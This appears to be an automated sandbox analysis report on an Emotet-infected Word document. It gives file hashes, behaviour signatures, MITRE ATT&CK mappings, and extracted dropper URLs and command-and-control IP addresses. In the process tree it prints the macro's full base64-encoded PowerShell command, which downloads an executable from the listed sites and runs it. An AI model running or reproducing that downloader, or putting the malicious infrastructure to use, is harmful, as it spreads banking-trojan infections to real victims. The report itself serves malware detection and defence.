emotet | 8ca55b541f0bd011f1cdde6a769f81496ab0b6df7d1d053cb68aacdcfb05b860

General

Target

からの変更19.doc
Size

176KB
MD5

0eda2dd4ae9e61832a1ff4e384ef52b4
SHA1

4f52d2890821f51bbc26aeaae93649683293d963
SHA256

8ca55b541f0bd011f1cdde6a769f81496ab0b6df7d1d053cb68aacdcfb05b860
SHA512

0839b2b9baf3e3473fe6b6c6a5219db5848f41cccc31f10440f7be551ea25913ebc098e8a816c434d22d8e6932c4267697e6c1fcdcc64c74243f4fd0418dbd9c

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://reseller-demo-website.com/discussion/qWWf8FS/

exe.dropper

https://www.mockdumps.com/test/Z2pJ/

exe.dropper

https://twisterprint.com/chrometheme/Vcr/

exe.dropper

http://simulations.org/rw_common/KfX2MW/

exe.dropper

http://planosdesaudesemcarencia.com/erros/JHoq/

exe.dropper

https://viaje-achina.com/wp-admin/A1O8tL/

exe.dropper

https://cearacultural.com.br/turismo/oy/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2052	3796	powershell.exe

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3324-15-0x0000000002350000-0x0000000002362000-memory.dmp	emotet
behavioral2/memory/3324-15-0x0000000002350000-0x0000000002362000-memory.dmp	emotet
behavioral2/memory/3324-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3324-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2172-19-0x0000000000480000-0x0000000000492000-memory.dmp	emotet
behavioral2/memory/2172-19-0x0000000000480000-0x0000000000492000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

20 2052 powershell.exe
22 2052 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Avbjjxx_b.exeeappprxy.exe

pid process

3324 Avbjjxx_b.exe
2172 eappprxy.exe
Drops file in System32 directory 1 IoCs

Processes:

Avbjjxx_b.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\umdmxfrm\eappprxy.exe Avbjjxx_b.exe

flow	pid	process
20	2052	powershell.exe
22	2052	powershell.exe

pid	process
3324	Avbjjxx_b.exe
2172	eappprxy.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\umdmxfrm\eappprxy.exe	Avbjjxx_b.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

584 WINWORD.EXE
584 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exeeappprxy.exe

pid process

2052 powershell.exe
2052 powershell.exe
2052 powershell.exe
2172 eappprxy.exe
2172 eappprxy.exe
2172 eappprxy.exe
2172 eappprxy.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2052 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

584 WINWORD.EXE
584 WINWORD.EXE
584 WINWORD.EXE
584 WINWORD.EXE
584 WINWORD.EXE
584 WINWORD.EXE
584 WINWORD.EXE
584 WINWORD.EXE
584 WINWORD.EXE

pid	process
584	WINWORD.EXE
584	WINWORD.EXE

pid	process
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
2172	eappprxy.exe
2172	eappprxy.exe
2172	eappprxy.exe
2172	eappprxy.exe

description	pid	process
Token: SeDebugPrivilege	2052	powershell.exe

pid	process
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeAvbjjxx_b.exe

description	pid	process	target process
PID 2052 wrote to memory of 3324	2052	powershell.exe	Avbjjxx_b.exe
PID 2052 wrote to memory of 3324	2052	powershell.exe	Avbjjxx_b.exe
PID 2052 wrote to memory of 3324	2052	powershell.exe	Avbjjxx_b.exe
PID 3324 wrote to memory of 2172	3324	Avbjjxx_b.exe	eappprxy.exe
PID 3324 wrote to memory of 2172	3324	Avbjjxx_b.exe	eappprxy.exe
PID 3324 wrote to memory of 2172	3324	Avbjjxx_b.exe	eappprxy.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更19.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGsAeQBfAHoAYwByAD0AKAAnAE8AagAnACsAKAAnAGIAYQAnACsAJwA0ADQAJwApACsAJwAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAUgBwAHIAbwBmAEkATABFAFwAaQB4AF8AVQAwAGUARQBcAEQAYQAzAEkAcABmAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAHQAYAB5AGAAcABSAG8AdABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAnACsAJwAgAHQAbABzACcAKQApADsAJABQADQAZAA1AGIAZABpACAAPQAgACgAKAAnAEEAdgAnACsAJwBiACcAKQArACgAJwBqAGoAeAB4ACcAKwAnAF8AJwApACsAJwBiACcAKQA7ACQATgBsAGQAaQBrAHEAaQA9ACgAJwBFACcAKwAoACcAMgBwACcAKwAnAGoANwAnACsAJwBqAGcAJwApACkAOwAkAEMAZgBfAHkAbAA3AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQB4AF8AJwArACgAJwB1ADAAJwArACcAZQBlACcAKQArACcAewAwAH0ARABhADMAaQAnACsAJwBwAGYAJwArACcAdgB7ADAAJwArACcAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANABkADUAYgBkAGkAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABaAHoAZABkAG4AbgBsAD0AKAAnAEYAJwArACcANQBkACcAKwAoACcAbAAnACsAJwBvAF8AeQAnACkAKQA7ACQAWAA0ADcANABmAHkAMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwAaQBFAE4AdAA7ACQAUQBhADkAdwA1ADgAdwA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcgBlAHMAZQAnACkAKwAoACcAbABsAGUAcgAtACcAKwAnAGQAZQAnACsAJwBtACcAKQArACcAbwAtACcAKwAnAHcAZQAnACsAJwBiAHMAJwArACcAaQAnACsAJwB0AGUAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAoACcAZABpACcAKwAnAHMAYwB1AHMAJwApACsAKAAnAHMAJwArACcAaQBvAG4ALwBxAFcAVwBmACcAKwAnADgARgAnACkAKwAoACcAUwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBtACcAKwAnAG8AJwArACcAYwBrAGQAdQBtAHAAcwAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHQAJwArACcAZQBzAHQALwAnACsAJwBaADIAcABKAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAnACkAKwAoACcALwB0ACcAKwAnAHcAaQAnACkAKwAoACcAcwAnACsAJwB0AGUAJwApACsAKAAnAHIAcAAnACsAJwByAGkAJwApACsAKAAnAG4AdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGMAaAByAG8AJwApACsAKAAnAG0AZQAnACsAJwB0AGgAZQAnACkAKwAoACcAbQBlAC8AVgAnACsAJwBjAHIAJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBzACcAKQArACcAaQBtACcAKwAoACcAdQAnACsAJwBsAGEAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAG8AcgAnACsAJwBnACcAKQArACcALwAnACsAKAAnAHIAdwBfAGMAJwArACcAbwBtACcAKQArACgAJwBtAG8AJwArACcAbgAvACcAKwAnAEsAZgAnACkAKwAnAFgAMgAnACsAKAAnAE0AVwAvACoAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwBwACcAKwAnAGwAYQAnACkAKwAnAG4AJwArACcAbwAnACsAKAAnAHMAJwArACcAZABlAHMAJwArACcAYQB1AGQAZQBzAGUAJwArACcAbQBjACcAKQArACcAYQAnACsAJwByAGUAJwArACcAbgBjACcAKwAnAGkAYQAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwAnACsAJwBlAHIAcgBvAHMALwAnACkAKwAnAEoAJwArACgAJwBIAG8AJwArACcAcQAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwB2AGkAYQBqAGUAJwArACcALQBhACcAKQArACgAJwBjACcAKwAnAGgAaQBuAGEALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkACcAKwAnAG0AaQAnACsAJwBuAC8AQQAxAE8AOAB0ACcAKQArACcATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAoACcALwBjAGUAJwArACcAYQByACcAKQArACgAJwBhAGMAdQBsACcAKwAnAHQAdQByAGEAJwArACcAbAAnACsAJwAuACcAKwAnAGMAbwBtAC4AYgAnACkAKwAoACcAcgAvACcAKwAnAHQAJwApACsAJwB1ACcAKwAoACcAcgAnACsAJwBpAHMAJwArACcAbQBvAC8AbwB5AC8AJwApACkALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQA2AHQAZwB6AGwAXwA9ACgAJwBVAG4AJwArACgAJwB3ADAAbQAzACcAKwAnADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABXAGsAZQBuADgAaQBnACAAaQBuACAAJABRAGEAOQB3ADUAOAB3ACkAewB0AHIAeQB7ACQAWAA0ADcANABmAHkAMgAuACIAZABgAG8AdwBuAEwAbwBhAGQAZgBpAGAATABlACIAKAAkAFcAawBlAG4AOABpAGcALAAgACQAQwBmAF8AeQBsADcAcgApADsAJABDAGMAeAAwADgAMAByAD0AKAAoACcAQQBkACcAKwAnAGIAcQBtADgAJwApACsAJwBiACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABDAGYAXwB5AGwANwByACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgAzADgAMAAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEMAZgBfAHkAbAA3AHIAKQA7ACQAVABsAGEAMQBfAHMAegA9ACgAKAAnAE4AJwArACcAawBfADMAbQAnACkAKwAnAHkAcAAnACkAOwBiAHIAZQBhAGsAOwAkAEkAaABtAG4AMQA0AF8APQAoACcASgAnACsAJwBmACcAKwAoACcAdwBrACcAKwAnAHUAagA4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdwBxAHoAYwBkAD0AKAAnAFkAJwArACgAJwBqAG8AeQByAG8AJwArACcAeQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2052

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe
"C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3324

C:\Windows\SysWOW64\umdmxfrm\eappprxy.exe
"C:\Windows\SysWOW64\umdmxfrm\eappprxy.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2172

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe

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C:\Users\Admin\ix_U0eE\Da3Ipfv\Avbjjxx_b.exe

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C:\Windows\SysWOW64\umdmxfrm\eappprxy.exe

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memory/584-7-0x0000017C88EA1000-0x0000017C88EAC000-memory.dmp

Filesize
44KB

Download
memory/584-8-0x0000017C88EA1000-0x0000017C88EAC000-memory.dmp

Filesize
44KB

Download
memory/584-0-0x00007FFEAA3E0000-0x00007FFEAAAA6000-memory.dmp

Filesize
6.8MB

Download
memory/584-6-0x0000017C88EA1000-0x0000017C88EAC000-memory.dmp

Filesize
44KB

Download
memory/584-5-0x0000017C8928D000-0x0000017C8929E000-memory.dmp

Filesize
68KB

Download
memory/2052-9-0x00007FFEA2A30000-0x00007FFEA341C000-memory.dmp

Filesize
9.9MB

Download
memory/2052-10-0x000002466D6D0000-0x000002466D6D1000-memory.dmp

Filesize
4KB

Download
memory/2052-11-0x000002466DA20000-0x000002466DA21000-memory.dmp

Filesize
4KB

Download
memory/2172-17-0x0000000000000000-mapping.dmp

Download
memory/2172-19-0x0000000000480000-0x0000000000492000-memory.dmp

Filesize
72KB

Download
memory/3324-12-0x0000000000000000-mapping.dmp

Download
memory/3324-16-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/3324-15-0x0000000002350000-0x0000000002362000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads